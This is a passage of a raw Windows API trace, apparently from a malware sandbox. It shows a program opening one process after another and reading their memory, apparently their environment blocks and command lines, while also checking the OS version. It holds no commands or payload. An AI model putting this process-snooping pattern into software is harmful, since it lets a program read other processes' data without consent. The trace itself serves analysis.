ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d60, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0348.999] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0348.999] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0348.999] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.000] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x249020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.000] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.000] malloc (_Size=0x84) returned 0xe87820 [0349.000] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xe87820, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87820*, lpNumberOfBytesRead=0x0) returned 1 [0349.000] free (_Block=0xe87820) [0349.001] CloseHandle (hObject=0xa9c) returned 1 [0349.001] _ui64tow_s (in: _Value=0x8e0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2272") returned 0x0 [0349.001] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2272") returned 4 [0349.001] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.001] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.002] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8e0) returned 0xa9c [0349.002] GetLastError () returned 0x0 [0349.002] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.003] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3b1018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.003] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.003] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x422560, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.003] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x422228, lpBuffer=0x5ec5a0, nSize=0x3e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.003] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.004] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.004] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3b1020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.004] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x421be0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.004] malloc (_Size=0x18) returned 0xec9c00 [0349.004] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x422266, lpBuffer=0xec9c00, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec9c00*, lpNumberOfBytesRead=0x0) returned 1 [0349.004] free (_Block=0xec9c00) [0349.004] CloseHandle (hObject=0xa9c) returned 1 [0349.043] _ui64tow_s (in: _Value=0x8f0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2288") returned 0x0 [0349.043] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2288") returned 4 [0349.043] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0xcc877a17, dwBuildNumber=0x7fff, dwPlatformId=0x15aacc0, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.043] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.044] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8f0) returned 0xa9c [0349.044] GetLastError () returned 0x0 [0349.044] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.044] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c8018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.044] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.044] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403de0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.044] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a38, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.045] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.045] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.045] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c8020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.045] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4033f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.045] malloc (_Size=0x6a) returned 0xea8fa0 [0349.045] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a78, lpBuffer=0xea8fa0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8fa0*, lpNumberOfBytesRead=0x0) returned 1 [0349.046] free (_Block=0xea8fa0) [0349.046] CloseHandle (hObject=0xa9c) returned 1 [0349.046] _ui64tow_s (in: _Value=0x944, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2372") returned 0x0 [0349.046] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2372") returned 4 [0349.047] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.047] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.048] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x944) returned 0xa9c [0349.048] GetLastError () returned 0x0 [0349.048] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.048] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x228018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.048] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.048] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5225e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.048] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522228, lpBuffer=0x5ec5a0, nSize=0x44, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.049] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.049] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.049] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x228020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.049] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x521be0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.049] malloc (_Size=0x6c) returned 0xea94a0 [0349.049] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x52226c, lpBuffer=0xea94a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea94a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.050] free (_Block=0xea94a0) [0349.050] CloseHandle (hObject=0xa9c) returned 1 [0349.050] _ui64tow_s (in: _Value=0xa64, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2660") returned 0x0 [0349.051] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2660") returned 4 [0349.051] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.051] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.052] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa64) returned 0xa9c [0349.052] GetLastError () returned 0x0 [0349.053] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.053] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c3018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.053] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.053] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5525c0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.053] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552248, lpBuffer=0x5ec5a0, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.053] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.054] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.054] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c3020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.054] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x551c00, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.054] malloc (_Size=0x32) returned 0xe71f70 [0349.054] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552278, lpBuffer=0xe71f70, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe71f70*, lpNumberOfBytesRead=0x0) returned 1 [0349.055] free (_Block=0xe71f70) [0349.055] CloseHandle (hObject=0xa9c) returned 1 [0349.055] _ui64tow_s (in: _Value=0xad8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2776") returned 0x0 [0349.056] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2776") returned 4 [0349.056] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.056] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.057] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xad8) returned 0xa9c [0349.057] GetLastError () returned 0x0 [0349.057] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.057] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x341018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.057] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.057] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403de0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.057] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a38, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.058] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.058] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.058] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x341020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.058] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4033f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.058] malloc (_Size=0x72) returned 0xea8ba0 [0349.058] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a78, lpBuffer=0xea8ba0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8ba0*, lpNumberOfBytesRead=0x0) returned 1 [0349.059] free (_Block=0xea8ba0) [0349.059] CloseHandle (hObject=0xa9c) returned 1 [0349.059] _ui64tow_s (in: _Value=0x924, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2340") returned 0x0 [0349.060] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2340") returned 4 [0349.060] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.060] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.061] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x924) returned 0xa9c [0349.061] GetLastError () returned 0x0 [0349.061] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.061] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x284018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.061] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.061] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4724e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.061] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472118, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.061] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.062] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.062] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x284020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.062] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x471ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.062] malloc (_Size=0x76) returned 0xea8c20 [0349.062] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472164, lpBuffer=0xea8c20, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8c20*, lpNumberOfBytesRead=0x0) returned 1 [0349.062] free (_Block=0xea8c20) [0349.062] CloseHandle (hObject=0xa9c) returned 1 [0349.063] _ui64tow_s (in: _Value=0xbbc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3004") returned 0x0 [0349.063] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3004") returned 4 [0349.063] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.063] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.064] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbbc) returned 0xa9c [0349.064] GetLastError () returned 0x0 [0349.064] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.064] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1075018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.064] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.065] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x14041e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.065] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1403c76, lpBuffer=0x5ec5a0, nSize=0xd4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.065] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.065] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.065] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1075020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.065] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1403590, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.066] malloc (_Size=0x14c) returned 0xe9ac70 [0349.066] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1403d4a, lpBuffer=0xe9ac70, nSize=0x14a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe9ac70*, lpNumberOfBytesRead=0x0) returned 1 [0349.066] free (_Block=0xe9ac70) [0349.066] CloseHandle (hObject=0xa9c) returned 1 [0349.067] _ui64tow_s (in: _Value=0xc1c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3100") returned 0x0 [0349.067] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3100") returned 4 [0349.067] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.067] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.069] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc1c) returned 0xa9c [0349.069] GetLastError () returned 0x0 [0349.069] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.069] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.069] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.069] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403df0, 